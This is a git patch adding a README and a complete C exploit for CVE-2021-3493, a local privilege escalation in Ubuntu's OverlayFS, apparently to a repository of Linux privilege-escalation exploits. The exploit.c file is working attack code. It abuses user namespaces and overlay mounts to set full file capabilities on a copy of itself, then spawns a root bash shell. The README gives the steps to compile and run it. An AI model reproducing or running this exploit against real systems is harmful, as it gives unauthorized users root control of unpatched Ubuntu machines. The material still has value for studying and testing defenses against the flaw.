From 2c345e02d364fac48aab35c6362eabc1f9fae24d Mon Sep 17 00:00:00 2001 From: helloexp <21156949+helloexp@users.noreply.github.com> Date: Thu, 10 Mar 2022 12:13:43 +0800 Subject: [PATCH] =?UTF-8?q?add=20CVE-2021-3493=20Ubuntu=20Linux=20?= =?UTF-8?q?=E6=9C=AC=E5=9C=B0=E6=8F=90=E6=9D=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../README.md | 25 +++ .../exploit.c | 143 ++++++++++++++++++ 2 files changed, 168 insertions(+) create mode 100644 98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/README.md create mode 100644 98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/exploit.c diff --git a/98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/README.md b/98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/README.md new file mode 100644 index 0000000..a7edc57 --- /dev/null +++ b/98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/README.md @@ -0,0 +1,25 @@ +# CVE-2021-3493 +Ubuntu OverlayFS Local Privilege Escalation + +## Affected Versions + +- Ubuntu 20.10 +- Ubuntu 20.04 LTS +- Ubuntu 19.04 +- Ubuntu 18.04 LTS +- Ubuntu 16.04 LTS +- Ubuntu 14.04 ESM + +## Usage + +- ```gcc exploit.c -o exploit``` +- ```./exploit``` + +## Description + +"Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts." [- Ubuntu Security](https://ubuntu.com/security/CVE-2021-3493) + +Fixed in Linux 5.11 + +## References +- https://ubuntu.com/security/CVE-2021-3493 \ No newline at end of file diff --git a/98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/exploit.c b/98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/exploit.c new file mode 100644 index 0000000..e7094a3 --- /dev/null +++ b/98-Linux提权/CVE-2021-3493-Ubuntu Linux 本地提权/exploit.c @@ -0,0 +1,143 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int setxattr(const char *path, const char *name, const void *value, size_t size, + int flags); + +#define DIR_BASE "./ovlcap" +#define DIR_WORK DIR_BASE "/work" +#define DIR_LOWER DIR_BASE "/lower" +#define DIR_UPPER DIR_BASE "/upper" +#define DIR_MERGE DIR_BASE "/merge" +#define BIN_MERGE DIR_MERGE "/magic" +#define BIN_UPPER DIR_UPPER "/magic" + +static void xmkdir(const char *path, mode_t mode) { + if (mkdir(path, mode) == -1 && errno != EEXIST) + err(1, "mkdir %s", path); +} + +static void xwritefile(const char *path, const char *data) { + int fd = open(path, O_WRONLY); + if (fd == -1) + err(1, "open %s", path); + ssize_t len = (ssize_t)strlen(data); + if (write(fd, data, len) != len) + err(1, "write %s", path); + close(fd); +} + +static void xcopyfile(const char *src, const char *dst, mode_t mode) { + int fi, fo; + + if ((fi = open(src, O_RDONLY)) == -1) + err(1, "open %s", src); + if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1) + err(1, "open %s", dst); + + char buf[4096]; + ssize_t rd, wr; + + for (;;) { + rd = read(fi, buf, sizeof(buf)); + if (rd == 0) { + break; + } else if (rd == -1) { + if (errno == EINTR) + continue; + err(1, "read %s", src); + } + + char *p = buf; + while (rd > 0) { + wr = write(fo, p, rd); + if (wr == -1) { + if (errno == EINTR) + continue; + err(1, "write %s", dst); + } + p += wr; + rd -= wr; + } + } + + close(fi); + close(fo); +} + +static int exploit() { + char buf[4096]; + + sprintf(buf, "rm -rf '%s/'", DIR_BASE); + system(buf); + + // 创建目录 + xmkdir(DIR_BASE, 0777); + xmkdir(DIR_WORK, 0777); + xmkdir(DIR_LOWER, 0777); + xmkdir(DIR_UPPER, 0777); + xmkdir(DIR_MERGE, 0777); + + // 获取用户id与组id + uid_t uid = getuid(); + gid_t gid = getgid(); + + if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) + err(1, "unshare"); + + xwritefile("/proc/self/setgroups", "deny"); + + sprintf(buf, "0 %d 1", uid); + xwritefile("/proc/self/uid_map", buf); + + sprintf(buf, "0 %d 1", gid); + xwritefile("/proc/self/gid_map", buf); + + sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, + DIR_WORK); + if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1) + err(1, "mount %s", DIR_MERGE); + + // all+ep + char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff" + "\xff\x00\x00\x00\x00"; + + xcopyfile("/proc/self/exe", BIN_MERGE, 0777); + if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1) + err(1, "setxattr %s", BIN_MERGE); + + return 0; +} + +int main(int argc, char *argv[]) { + if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) { + setuid(0); + setgid(0); + execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL); + err(1, "execl /bin/bash"); + } + + pid_t child = fork(); + if (child == -1) + err(1, "fork"); + + if (child == 0) { + _exit(exploit()); + } else { + waitpid(child, NULL, 0); + } + + execl(BIN_UPPER, BIN_UPPER, "shell", NULL); + err(1, "execl %s", BIN_UPPER); +}